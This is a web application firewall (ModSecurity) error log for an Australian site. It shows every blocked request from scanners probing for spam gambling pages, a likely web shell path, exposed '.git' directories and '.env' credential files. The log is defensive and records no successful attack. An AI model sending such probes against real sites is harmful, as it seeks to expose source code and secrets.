[Fri Mar 27 02:08:46.898660 2026] [:error] [pid 62551:tid 62569] [client 65.108.2.171:56962] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acV2LoQvFHgfE1g4p7CbGwAAAc8"]
[Fri Mar 27 02:08:49.539440 2026] [:error] [pid 44058:tid 44067] [client 65.108.2.171:56972] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acV2Meqp9u5CVRGdZPEThgAAAIc"]
[Fri Mar 27 02:08:52.047331 2026] [:error] [pid 62147:tid 62477] [client 65.108.2.171:56974] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acV2NBPjxn06mcLazN6MvwAAABE"]
[Fri Mar 27 02:08:54.702956 2026] [:error] [pid 44058:tid 44071] [client 65.108.2.171:56986] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acV2Nuqp9u5CVRGdZPETjgAAAIs"]
[Fri Mar 27 02:08:57.315168 2026] [:error] [pid 44058:tid 44069] [client 65.108.2.171:50168] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acV2Oeqp9u5CVRGdZPETmQAAAIk"]
[Fri Mar 27 02:08:59.936640 2026] [:error] [pid 62148:tid 62507] [client 65.108.2.171:50184] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acV2O4duik-mTruBKFV2JQAAAEo"]
[Fri Mar 27 02:09:02.584626 2026] [:error] [pid 62149:tid 62537] [client 65.108.2.171:50196] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acV2PmHvvta9MPqU8PVtUwAAAQ0"]
[Fri Mar 27 02:09:05.113325 2026] [:error] [pid 62148:tid 62521] [client 65.108.2.171:43846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acV2QYduik-mTruBKFV2MgAAAFg"]
[Fri Mar 27 02:09:07.608263 2026] [:error] [pid 62551:tid 62569] [client 65.108.2.171:43862] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acV2Q4QvFHgfE1g4p7CbPwAAAc8"]
[Fri Mar 27 02:09:10.334907 2026] [:error] [pid 62147:tid 62475] [client 65.108.2.171:43876] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acV2RhPjxn06mcLazN6M4QAAAA8"]
[Fri Mar 27 02:09:12.869435 2026] [:error] [pid 62149:tid 62548] [client 65.108.2.171:43878] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acV2SGHvvta9MPqU8PVtaQAAARg"]
[Fri Mar 27 02:44:01.871620 2026] [:error] [pid 62551:tid 62571] [client 94.247.172.129:35907] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acV-cYQvFHgfE1g4p7CnwgAAAdE"]
[Fri Mar 27 05:42:37.568226 2026] [:error] [pid 63897:tid 63913] [client 43.155.140.157:44554] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acWoTWVSkmYmLu7ycYjmigAAAQ4"]
[Fri Mar 27 08:24:32.010026 2026] [:error] [pid 4341:tid 4344] [client 51.75.128.81:52496] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acXOQOKJWrNB5dMlERFGewAAAYE"]
[Fri Mar 27 08:24:34.466386 2026] [:error] [pid 4341:tid 4352] [client 51.75.128.81:53522] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acXOQuKJWrNB5dMlERFGgAAAAYk"]
[Fri Mar 27 08:24:36.821533 2026] [:error] [pid 63897:tid 63912] [client 51.75.128.81:53536] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acXORGVSkmYmLu7ycYg8uAAAAQ0"]
[Fri Mar 27 08:24:39.188998 2026] [:error] [pid 4341:tid 4364] [client 51.75.128.81:42912] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acXOR-KJWrNB5dMlERFGiQAAAZU"]
[Fri Mar 27 08:24:41.596498 2026] [:error] [pid 27750:tid 27840] [client 51.75.128.81:42914] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acXOSYaSil5rd17ieLxYewAAAJY"]
[Fri Mar 27 08:24:44.000755 2026] [:error] [pid 4293:tid 4304] [client 51.75.128.81:42920] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acXOS5LjeJUC3OKtEx-93AAAAUk"]
[Fri Mar 27 08:24:46.404410 2026] [:error] [pid 4293:tid 4317] [client 51.75.128.81:42926] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acXOTpLjeJUC3OKtEx-95AAAAVY"]
[Fri Mar 27 08:24:48.821510 2026] [:error] [pid 4293:tid 4301] [client 51.75.128.81:58028] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acXOUJLjeJUC3OKtEx-98wAAAUY"]
[Fri Mar 27 08:24:51.183017 2026] [:error] [pid 4293:tid 4314] [client 51.75.128.81:58044] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acXOU5LjeJUC3OKtEx--BgAAAVM"]
[Fri Mar 27 08:24:53.534866 2026] [:error] [pid 63897:tid 63917] [client 51.75.128.81:58048] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acXOVWVSkmYmLu7ycYg81gAAARI"]
[Fri Mar 27 08:24:55.919089 2026] [:error] [pid 4341:tid 4366] [client 51.75.128.81:58056] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acXOV-KJWrNB5dMlERFGogAAAZc"]
[Fri Mar 27 08:24:58.328994 2026] [:error] [pid 4341:tid 4358] [client 51.75.128.81:57786] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acXOWuKJWrNB5dMlERFGrgAAAY8"]
[Fri Mar 27 08:25:00.867069 2026] [:error] [pid 27750:tid 27823] [client 51.75.128.81:57788] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acXOXIaSil5rd17ieLxYgwAAAIU"]
[Fri Mar 27 08:25:03.247788 2026] [:error] [pid 4341:tid 4343] [client 51.75.128.81:57796] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acXOX-KJWrNB5dMlERFGtAAAAYA"]
[Fri Mar 27 08:25:05.754114 2026] [:error] [pid 4293:tid 4302] [client 51.75.128.81:57808] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acXOYZLjeJUC3OKtEx--QQAAAUc"]
[Fri Mar 27 08:25:08.142967 2026] [:error] [pid 4293:tid 4319] [client 51.75.128.81:34362] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acXOZJLjeJUC3OKtEx--RQAAAVg"]
[Fri Mar 27 08:25:10.658457 2026] [:error] [pid 4341:tid 4359] [client 51.75.128.81:34374] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acXOZuKJWrNB5dMlERFGwgAAAZA"]
[Fri Mar 27 08:25:13.199734 2026] [:error] [pid 4293:tid 4305] [client 51.75.128.81:34388] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acXOaZLjeJUC3OKtEx--UAAAAUo"]
[Fri Mar 27 08:25:15.581213 2026] [:error] [pid 4341:tid 4366] [client 51.75.128.81:34392] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acXOa-KJWrNB5dMlERFGzgAAAZc"]
[Fri Mar 27 08:25:18.095798 2026] [:error] [pid 4293:tid 4313] [client 51.75.128.81:47692] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acXObpLjeJUC3OKtEx--YAAAAVI"]
[Fri Mar 27 08:25:20.447097 2026] [:error] [pid 4341:tid 4356] [client 51.75.128.81:47702] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acXOcOKJWrNB5dMlERFG1wAAAY0"]
[Fri Mar 27 08:31:28.524132 2026] [:error] [pid 4293:tid 4314] [client 192.144.148.122:53506] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acXP4JLjeJUC3OKtEx_CWAAAAVM"]
[Fri Mar 27 09:17:44.032512 2026] [:error] [pid 63897:tid 63920] [client 13.70.26.183:8865] [client 13.70.26.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-Econ/upH.php"] [unique_id "acXauGVSkmYmLu7ycYhapQAAARU"]
[Fri Mar 27 09:17:44.528401 2026] [:error] [pid 4341:tid 4349] [client 13.70.26.183:13597] [client 13.70.26.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-Econ/upH.php"] [unique_id "acXauOKJWrNB5dMlERFaEQAAAYY"]
[Fri Mar 27 09:17:45.021485 2026] [:error] [pid 27750:tid 27838] [client 13.70.26.183:12885] [client 13.70.26.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-Econ/upH.php"] [unique_id "acXauYaSil5rd17ieLxkCgAAAJQ"]
[Fri Mar 27 09:17:45.505685 2026] [:error] [pid 4293:tid 4305] [client 13.70.26.183:16378] [client 13.70.26.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Core-Econ/upH.php"] [unique_id "acXauZLjeJUC3OKtEx_hiQAAAUo"]
[Fri Mar 27 11:31:00.050739 2026] [:error] [pid 4293:tid 4295] [client 172.69.150.228:11080] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/master"] [unique_id "acX59JLjeJUC3OKtEx83XAAAAUA"]
[Fri Mar 27 11:31:00.059095 2026] [:error] [pid 63897:tid 63907] [client 172.69.150.229:10255] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/index"] [unique_id "acX59GVSkmYmLu7ycYii_QAAAQg"]
[Fri Mar 27 11:31:00.065752 2026] [:error] [pid 63897:tid 63911] [client 172.69.150.228:11083] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/logs/HEAD"] [unique_id "acX59GVSkmYmLu7ycYii_gAAAQw"]
[Fri Mar 27 11:31:00.111416 2026] [:error] [pid 63897:tid 63900] [client 172.69.150.229:10261] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "acX59GVSkmYmLu7ycYii_wAAAQE"]
[Fri Mar 27 11:31:00.111709 2026] [:error] [pid 27749:tid 27805] [client 172.69.150.228:11073] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/main"] [unique_id "acX59MEqyoMni2Q6_X6bfwAAAE4"]
[Fri Mar 27 11:31:00.118250 2026] [:error] [pid 63897:tid 63921] [client 172.69.150.229:10268] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "acX59GVSkmYmLu7ycYijAAAAARY"]
[Fri Mar 27 11:31:01.068613 2026] [:error] [pid 27750:tid 27842] [client 172.69.150.229:10274] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "acX59YaSil5rd17ieLyCkgAAAJg"]
[Fri Mar 27 11:31:01.068613 2026] [:error] [pid 63897:tid 63916] [client 172.69.150.229:10273] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "acX59WVSkmYmLu7ycYijAwAAARE"]
[Fri Mar 27 11:31:01.124872 2026] [:error] [pid 27750:tid 27840] [client 172.69.150.228:11089] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "acX59YaSil5rd17ieLyCkwAAAJY"]
[Fri Mar 27 11:31:01.132967 2026] [:error] [pid 27750:tid 27832] [client 172.69.150.228:11094] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "acX59YaSil5rd17ieLyClAAAAI4"]
[Fri Mar 27 11:31:01.133323 2026] [:error] [pid 27749:tid 27814] [client 172.69.150.228:11099] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "acX59cEqyoMni2Q6_X6bhwAAAFc"]
[Fri Mar 27 11:31:01.141748 2026] [:error] [pid 63897:tid 63905] [client 172.69.150.228:11106] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "acX59WVSkmYmLu7ycYijBAAAAQY"]
[Fri Mar 27 11:31:02.133663 2026] [:error] [pid 4293:tid 4302] [client 172.69.150.229:10282] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "acX59pLjeJUC3OKtEx83ZgAAAUc"]
[Fri Mar 27 11:31:02.133815 2026] [:error] [pid 4293:tid 4310] [client 172.69.150.228:11110] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "acX59pLjeJUC3OKtEx83ZwAAAU8"]
[Fri Mar 27 11:31:02.140960 2026] [:error] [pid 4341:tid 4363] [client 172.69.150.229:10285] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "acX59uKJWrNB5dMlERGa8AAAAZQ"]
[Fri Mar 27 11:31:02.160347 2026] [:error] [pid 4341:tid 4366] [client 172.69.150.229:10290] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.tmp"] [unique_id "acX59uKJWrNB5dMlERGa8QAAAZc"]
